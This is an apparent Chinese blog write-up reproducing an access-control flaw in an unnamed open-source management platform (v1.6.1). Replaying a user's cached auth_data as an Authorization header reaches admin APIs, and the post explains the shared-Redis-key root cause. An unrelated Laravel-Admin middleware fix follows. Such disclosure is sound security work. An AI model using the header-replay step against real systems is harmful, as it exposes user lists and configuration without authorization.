某开源管理平台越权访问漏洞复现

越权访问漏洞复现

某开源的管理平台,该漏洞可导致普通用户越权访问调用管理员的API。

影响范围

v1.6.1

漏洞复现

靶机ip:192.168.1.9

登录地址:

http://192.168.1.9:8080/#/login

在这里插入图片描述

先注册个号

用户名:tpaer@hack.com
密码:123qwert

在这里插入图片描述

回到登录页面进行登录并抓包

在这里插入图片描述

放包返回了一段json,json中的auth_data为当前用户的认证信息后面需要用到

在这里插入图片描述

{
    "data": {
        "token": "64aa38aff3c56866eaaa7405c5602920",
        "auth_data": "dHBhZXJAaGFjay5jb206JDJ5JDEwJG5Vc2FQL0pENU1qQXhlZDMxZTlrM3VOeEFHWEQ4Sk1mZnU0amY4WEVjbm5ieGhwRFE5WVBh"
    }
}

登录后会进入到如下界面
在这里插入图片描述

尝试直接访问,访问失败

http://192.168.1.9:8080/api/v1/user/info

在这里插入图片描述

重新抓包添加Authorization请求头,值为auth_data

Authorization:dHBhZXJAaGFjay5jb206JDJ5JDEwJG5Vc2FQL0pENU1qQXhlZDMxZTlrM3VOeEFHWEQ4Sk1mZnU0amY4WEVjbm5ieGhwRFE5WVBh

成功访问

在这里插入图片描述

在请求时携带Authorization请求头,就可以使用管理员的API进行越权访问用户列表、机场配置、订阅信息等内容

漏洞原理

在v1.6.1版本中新加入了缓存机制:用户访问时会将Authorization头存入redis。在下次请求时,如果Authorization在缓存中存在就认为是合法用户。

前后台的API都使用了这个机制,并且这两个缓存的key是相同的,在后台读取到缓存后也并没有确认用户身份。

用户在登录时Authorization头缓存在redis,后台接口携带相同的Authorization进行访问,在redis找到了相同的Authorization会放行,从而绕过后台的鉴权系统。

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 4
    评论
Laravel-Admin 是一个开源的后台管理框架,它基于 Laravel 框架,提供了一套 CRUD 操作的界面。Laravel-Admin 越权漏洞是指攻击者可以通过构造特定的 URL,绕过权限验证,访问未授权的页面或进行未授权的操作。 修复 Laravel-Admin 越权漏洞,可以按照以下步骤进行: 1. 升级 Laravel-Admin 到最新版本。开发组在最新版已经修复了该漏洞。 2. 如果无法升级到最新版本,可以手动修复漏洞。具体步骤如下: - 打开项目的 `app/Admin/routes.php` 文件,找到需要修复的路由。 - 在需要进行权限验证的路由前,加上如下代码: ```php // 需要进行权限验证的路由 $router->resource('users', 'UserController')->middleware('auth.admin'); ``` 上述代码的 `middleware('auth.admin')` 表示该路由需要通过 `auth.admin` 间件进行验证。 - 创建 `app/Http/Middleware/AuthenticateAdmin.php` 间件。 ```php <?php namespace App\Http\Middleware; use Closure; use Illuminate\Support\Facades\Auth; class AuthenticateAdmin { public function handle($request, Closure $next) { if (Auth::guard('admin')->check()) { return $next($request); } return redirect('/admin/auth/login'); } } ``` 上述代码的 `Auth::guard('admin')->check()` 表示使用 `admin` guard 进行验证。 - 在 `app/Http/Kernel.php` 文件注册间件。 ```php protected $routeMiddleware = [ // ... 'auth.admin' => \App\Http\Middleware\AuthenticateAdmin::class, ]; ``` 上述代码的 `auth.admin` 表示间件的名字,`\App\Http\Middleware\AuthenticateAdmin::class` 表示间件的类名。 通过以上步骤,就可以修复 Laravel-Admin 越权漏洞了。
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值